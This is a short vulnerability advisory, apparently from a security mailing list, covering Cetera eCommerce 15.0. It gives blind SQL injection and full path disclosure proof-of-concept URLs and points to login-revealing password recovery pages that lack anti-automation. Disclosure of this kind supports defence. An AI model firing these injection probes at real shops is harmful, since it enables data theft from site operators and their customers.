Cetera eCommerce 15.0 SQL Injection / Disclosure

`Hello list!  
  
I want to warn you about SQL Injection, Full path disclosure, Abuse of  
Functionality and Insufficient Anti-automation vulnerabilities in Cetera  
eCommerce. It's engine for online shops.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are Cetera eCommerce 15.0 and previous versions. SQLi and FPD  
concern only version 15.0, and AoF and IAA concern version 15.0 and previous  
versions. These vulnerabilities still not fixed by developer.  
  
----------  
Details:  
----------  
  
SQL Injection (blind SQLi) (WASC-19):  
  
http://site/catalog/’+(version()=5.1)+’/ (200 at true, 404 at false)  
  
http://site/’+(version()=5.1)+’/ (404 at true, 200 at false)  
  
Full path disclosure (WASC-13):  
  
http://site/’/  
  
http://site/catalog/’/  
  
http://site/account/’/  
  
http://site/news/’/  
  
http://site/vendors/’/  
  
Abuse of Functionality (WASC-42):  
  
In these functionalities it's possible to reveal e-mails which are logins in  
the system.  
  
http://site/account/recoverpassword/  
  
http://site/account/recoverpassword/code/  
  
Insufficient Anti-automation (WASC-21):  
  
These two functionalities have no protection from automated requests  
(captcha).  
  
------------  
Timeline:  
------------  
  
2011.03.25 - announced at my site.  
2011.03.27 - informed developers.  
2011.05.14 - disclosed at my site.  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/5035/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`